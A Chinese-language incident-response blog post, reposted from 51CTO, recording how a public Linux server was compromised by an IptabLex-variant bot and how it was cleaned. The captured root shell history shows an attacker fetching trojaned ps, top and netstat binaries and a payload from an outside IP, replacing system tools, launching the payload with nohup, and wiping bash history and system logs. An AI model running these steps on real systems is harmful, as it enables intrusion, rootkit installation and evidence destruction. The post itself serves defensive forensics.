下面是一台公網主機被黑的過程
(以下記錄通過PROMPT_COMMAND系統環境變量背景抓取)
Nov 24 03:24:32 ***: [euid=root]::[/root]#
Nov 24 03:24:34 ***: [euid=root]::[/root]# history
Nov 24 03:26:52 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/libproc-3.2.5.so
Nov 24 03:26:55 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/ps
Nov 24 03:26:57 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/top
Nov 24 03:27:00 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/netstat
Nov 24 03:27:03 ***: [euid=root]::[/root]# chmod 777 ps
Nov 24 03:27:05 ***: [euid=root]::[/root]# chmod 777 top
Nov 24 03:27:08 ***: [euid=root]::[/root]# chmod 777 netstat
Nov 24 03:27:11 ***: [euid=root]::[/root]# cp libproc-3.2.5.so /usr/lib64
Nov 24 03:27:14 ***: [euid=root]::[/root]# rm -f /bin/ps
Nov 24 03:27:16 ***: [euid=root]::[/root]# rm -f /usr/bin/top
Nov 24 03:27:19 ***: [euid=root]::[/root]# rm -f /bin/netstat
Nov 24 03:27:21 ***: [euid=root]::[/root]# cp top /usr/bin
Nov 24 03:27:24 ***: [euid=root]::[/root]# cp ps /bin
Nov 24 03:27:29 ***: [euid=root]::[/root]# cp netstat /bin
Nov 24 03:27:33 ***: [euid=root]::[/root]# ps -ef
Nov 24 03:27:35 ***: [euid=root]::[/root]# top
Nov 24 03:27:38 ***: [euid=root]::[/root]# netstat -anp
Nov 24 03:27:40 ***: [euid=root]::[/root]# netstat -an
Nov 24 03:27:50 ***: [euid=root]::[/root]# wget http://222.186.31.229:52636/Internet
Nov 24 03:27:52 ***: [euid=root]::[/root]# chmod 0755 /root/Internet
Nov 24 03:27:56 ***: [euid=root]::[/root]# nohup /root/Internet > /dev/null 2>&1 &
Nov 24 03:27:57 ***: [euid=root]::[/root]# ls
Nov 24 03:28:01 ***: [euid=root]::[/root]# rm -rf Internet
Nov 24 03:28:03 ***: [euid=root]::[/root]# rm -rf ps
Nov 24 03:28:05 ***: [euid=root]::[/root]# rm -rf top
Nov 24 03:28:08 ***: [euid=root]::[/root]# rm -rf libproc-3.2.5.so
Nov 24 03:28:10 ***: [euid=root]::[/root]# rm -rf netstat
Nov 24 03:28:10 ***: [euid=root]::[/root]# ls
Nov 24 03:28:14 ***: [euid=root]::[/root]# rm -rf fake.cfg
Nov 24 03:28:15 ***: [euid=root]::[/root]# ls
Nov 24 03:28:21 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:23 ***: [euid=root]::[/root]#
Nov 24 03:28:24 ***: [euid=root]::[/root]# history
Nov 24 03:28:30 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:30 ***: [euid=root]::[/root]#
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:30 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# rm -rf /root/.bash_history
Nov 24 03:28:31 ***: [euid=root]::[/root]#
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/syslog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/messages
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/access_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/httpd/error_log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/xferlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/secure
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/auth.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/user.log
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/wtmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/lastlog
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/log/btmp
Nov 24 03:28:31 ***: [euid=root]::[/root]# echo>/var/run/utmp
Nov 24 03:28:37 ***: [euid=root]::[/root]# rm -rf .bash_history
Nov 24 03:28:39 ***: [euid=root]::[/root]#
Nov 24 03:28:40 ***: [euid=root]::[/root]# history
中招後的現象:
1、主機發包嚴重,阻塞網絡。
2、異常程序直接kill後會再次自動生成新的程序。
3、有些異常程序是随機名,kill後名字會變動
4、異常程序端口号是随機端口
異常的過程是IptabLex的變種,處理過程類似:
再查來源,有這麼幾個檔案:
/boot/IptabLes
/boot/IptabLex
/boot/.IptabLes
/boot/.IptabLex
# cat /boot/IptabLex
#!/bin/sh
/boot/.IptabLex
exit 0
# cat /boot/IptabLes
.IptabLes 和 .IptabLes 檔案,有可能是二進制檔案
killall -9 scc
killall -9 .IptabLes
killall -9 .IptabLex
killall -9 profile; killall -9 profileh;
killall -9 install; killall -9 installh;
killall -9 office; killall -9 officeh;
killall -9 history
killall -9 node
rm -f /boot/*IptabLes
rm -f /boot/*IptabLex
rm -f /boot/..IptabLes
rm -f /etc/rc.d/IptabLex
rm -f /etc/rc.d/rc2.d/*IptabLex
rm -f /etc/rc.d/rc2.d/*IptabLes
rm -f /etc/rc.d/rc3.d/*IptabLex
rm -f /etc/rc.d/rc3.d/*IptabLes
rm -f /etc/rc.d/rc4.d/*IptabLex
rm -f /etc/rc.d/rc4.d/*IptabLes
rm -f /etc/rc.d/rc5.d/*IptabLex
rm -f /etc/rc.d/rc5.d/*IptabLes
rm -f /etc/rc.d/IptabLes
rm -f /usr/.IptabLes
rm -f /usr/.IptabLex
rm -f /etc/rc.d/init.d/IptabLe*
并将被替換的系統指令進行修複。
以上處理基本可以解決問題。
存在一種棘手的情況,惡意程式會生成一堆類似系統程序的程序名,類似:
pwd
ps -ef
netstat -an
針對此類惡意程序,通過kill是無法完全清除。
需要清除/lib/libgcc*的庫檔案,防止惡意程式再次啟動。
1.清除/etc/crontab 中那行udev的,同時清除/etc/cron.hourly中udev.sh
2.netstat -enlp|more
kill程序中異常的端口和程序,有時是tcp有時有udp,程序名形如netstatps等,清幹淨後進行下一步
3.rm -rf /lib/libgcc*
4.檢視netstat -anlp netstat-enlp 均無異常程序和端口開放
本文轉自 cexpert 51CTO部落格,原文連結:http://blog.51cto.com/cexpert/1701067